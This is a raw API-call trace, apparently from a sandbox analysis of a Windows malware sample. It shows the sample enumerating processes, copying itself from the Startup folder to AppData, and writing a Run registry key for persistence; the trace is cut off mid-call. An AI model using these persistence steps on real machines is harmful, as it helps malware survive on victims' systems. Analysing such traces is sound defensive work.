lstrlenW (lpString="svchost.exe") returned 11 [0155.221] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.221] lstrlenW (lpString="svchost.exe") returned 11 [0155.221] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.222] lstrlenW (lpString="svchost.exe") returned 11 [0155.222] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.222] lstrlenW (lpString="svchost.exe") returned 11 [0155.222] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.223] lstrlenW (lpString="svchost.exe") returned 11 [0155.223] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.223] lstrlenW (lpString="svchost.exe") returned 11 [0155.223] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.223] lstrlenW (lpString="svchost.exe") returned 11 [0155.224] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.224] lstrlenW (lpString="svchost.exe") returned 11 [0155.224] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.224] lstrlenW (lpString="svchost.exe") returned 11 [0155.224] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0155.225] lstrlenW (lpString="spoolsv.exe") returned 11 [0155.225] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.225] lstrlenW (lpString="svchost.exe") returned 11 [0155.225] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0155.226] lstrlenW (lpString="audiodg.exe") returned 11 [0155.226] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0155.226] lstrlenW (lpString="sihost.exe") returned 10 [0155.226] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.226] lstrlenW (lpString="svchost.exe") returned 11 [0155.226] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0155.227] lstrlenW (lpString="taskhostw.exe") returned 13 [0155.227] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0155.227] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0155.227] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0155.228] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0155.228] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0155.228] lstrlenW (lpString="Memory Compression") returned 18 [0155.228] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0155.228] lstrlenW (lpString="explorer.exe") returned 12 [0155.228] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0155.229] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0155.229] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0155.230] lstrlenW (lpString="SearchUI.exe") returned 12 [0155.230] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0155.231] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0155.231] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0155.231] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0155.231] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0155.232] lstrlenW (lpString="mobsync.exe") returned 11 [0155.232] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0155.232] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0155.232] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 0 [0155.232] CloseHandle (hObject=0x240) returned 1 [0155.232] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43dbd8 | out: hHeap=0x420000) returned 1 [0155.232] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43db48 | out: hHeap=0x420000) returned 1 [0155.233] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x434de0 | out: hHeap=0x420000) returned 1 [0155.233] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x434c80 | out: hHeap=0x420000) returned 1 [0155.233] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435fe8 | out: hHeap=0x420000) returned 1 [0155.233] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x464be0 | out: hHeap=0x420000) returned 1 [0155.233] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x434c40 | out: hHeap=0x420000) returned 1 [0155.233] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x434b60 | out: hHeap=0x420000) returned 1 [0155.233] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45efe0 | out: hHeap=0x420000) returned 1 [0155.233] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f238 | out: hHeap=0x420000) returned 1 [0155.233] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x434b80 | out: hHeap=0x420000) returned 1 [0155.233] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f008 | out: hHeap=0x420000) returned 1 [0155.233] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x466768 [0155.233] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x476770 [0155.234] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464be0 [0155.234] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464be0, Size=0x20) returned 0x45eec8 [0155.234] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45eec8, Size=0x40) returned 0x43d878 [0155.234] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464c58 [0155.234] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464c58, Size=0x20) returned 0x45efb8 [0155.234] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464be0 [0155.234] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464be0, Size=0x20) returned 0x45ef90 [0155.234] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464c58 [0155.234] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464c58, Size=0x20) returned 0x45ed88 [0155.234] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45ed88, Size=0x40) returned 0x43dc20 [0155.234] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x476770, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 0x77 [0155.234] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x486778 [0155.234] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x496780 [0155.235] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464c58 [0155.235] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464c58, Size=0x20) returned 0x45eec8 [0155.235] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45eec8, Size=0x40) returned 0x43da70 [0155.235] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43da70, Size=0x80) returned 0x4383c8 [0155.235] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4383c8, Size=0x100) returned 0x4383c8 [0155.235] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0155.235] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4383c8 | out: hHeap=0x420000) returned 1 [0155.235] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpDst=0x486778, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 0x4f [0155.235] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x496780 | out: hHeap=0x420000) returned 1 [0155.235] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x486778 | out: hHeap=0x420000) returned 1 [0155.236] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x2427020 [0155.239] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464c58 [0155.239] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464c58, Size=0x20) returned 0x45ef40 [0155.239] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464be0 [0155.239] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464be0, Size=0x20) returned 0x45f1e8 [0155.239] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0155.239] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0155.239] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0155.239] lstrlenW (lpString="kernel32.dll") returned 12 [0155.239] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45ef40 | out: hHeap=0x420000) returned 1 [0155.239] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0155.239] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f1e8 | out: hHeap=0x420000) returned 1 [0155.239] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0155.239] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\windows\\system32\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.240] CloseHandle (hObject=0x240) returned 1 [0155.240] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464c58 [0155.240] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464c58, Size=0x20) returned 0x45efe0 [0155.240] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464c58 [0155.240] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464c58, Size=0x20) returned 0x45f0d0 [0155.241] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0155.241] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0155.241] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0155.241] lstrlenW (lpString="kernel32.dll") returned 12 [0155.241] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f0d0 | out: hHeap=0x420000) returned 1 [0155.241] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0155.241] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45efe0 | out: hHeap=0x420000) returned 1 [0155.241] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x2427020 | out: hHeap=0x420000) returned 1 [0155.243] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x486778 [0155.244] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x496780 [0155.244] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464c58 [0155.244] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464c58, Size=0x20) returned 0x45efe0 [0155.244] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45efe0, Size=0x40) returned 0x43d710 [0155.244] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43d710, Size=0x80) returned 0x4383c8 [0155.244] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4383c8, Size=0x100) returned 0x4383c8 [0155.244] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0155.244] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4383c8 | out: hHeap=0x420000) returned 1 [0155.244] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpDst=0x486778, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 0x5b [0155.244] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x496780 | out: hHeap=0x420000) returned 1 [0155.244] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x486778 | out: hHeap=0x420000) returned 1 [0155.245] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x2428020 [0155.248] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464b98 [0155.248] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464b98, Size=0x20) returned 0x45f058 [0155.248] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464c58 [0155.248] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464c58, Size=0x20) returned 0x45f260 [0155.248] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0155.248] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0155.248] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0155.248] lstrlenW (lpString="kernel32.dll") returned 12 [0155.248] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f058 | out: hHeap=0x420000) returned 1 [0155.248] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0155.248] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f260 | out: hHeap=0x420000) returned 1 [0155.248] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0155.249] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0155.250] ReadFile (in: hFile=0x240, lpBuffer=0x2428020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2428020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0155.273] WriteFile (in: hFile=0x244, lpBuffer=0x2428020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2428020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0155.276] ReadFile (in: hFile=0x240, lpBuffer=0x2428020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2428020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0155.276] CloseHandle (hObject=0x244) returned 1 [0155.276] CloseHandle (hObject=0x240) returned 1 [0155.276] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464c58 [0155.276] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464c58, Size=0x20) returned 0x45f1c0 [0155.276] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464be0 [0155.276] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464be0, Size=0x20) returned 0x45f1e8 [0155.277] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0155.277] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0155.277] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0155.277] lstrlenW (lpString="kernel32.dll") returned 12 [0155.277] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f1e8 | out: hHeap=0x420000) returned 1 [0155.277] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0155.277] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f1c0 | out: hHeap=0x420000) returned 1 [0155.277] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x2428020 | out: hHeap=0x420000) returned 1 [0155.282] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464c58 [0155.282] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464c58, Size=0x20) returned 0x45eec8 [0155.282] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45eec8, Size=0x40) returned 0x43d710 [0155.282] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43d710, Size=0x80) returned 0x4383c8 [0155.282] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 90 [0155.282] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0155.282] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x5c) returned 0x438450 [0155.282] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0155.282] RegSetValueExW (hKey=0x240, lpValueName="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", Reserved=0x0, dwType=0x1, lpData=0x466768, cbData=0xb4) returned 0x5 [0155.282] RegCloseKey (hKey=0x240) returned 0x0 [0155.282] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x438450 | out: hHeap=0x420000) returned 1 [0155.282] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 90 [0155.282] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0155.282] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x5c) returned 0x438450 [0155.282] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x244) returned 0x0 [0155.283] RegSetValueExW (in: hKey=0x244, lpValueName="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", cbData=0xb4 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 0x0 [0155.284] RegCloseKey (hKey=0x244) returned 0x0 [0155.284] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x438450 | out: hHeap=0x420000) returned 1 [0155.284] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0155.284] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4383c8 | out: hHeap=0x420000) returned 1 [0155.284] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x486778 [0155.285] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x496780 [0155.285] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x464be0 [0155.285] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x464be0, Size=0x20) returned 0x45eef0 [0155.285] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45eef0, Size=0x40) returned 0x43d9e0 [0155.285] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43d9e0, Size=0x80) returned 0x4383c8 [0155.285] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4383c8, Size=0x100) returned 0x4383c8 [0155.285] lstrlenW (lpString="") returned 0 [0155.285] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0155.285] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8c) returned 0x438530 [0155.285] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0155.285] RegQueryValueExW (in: 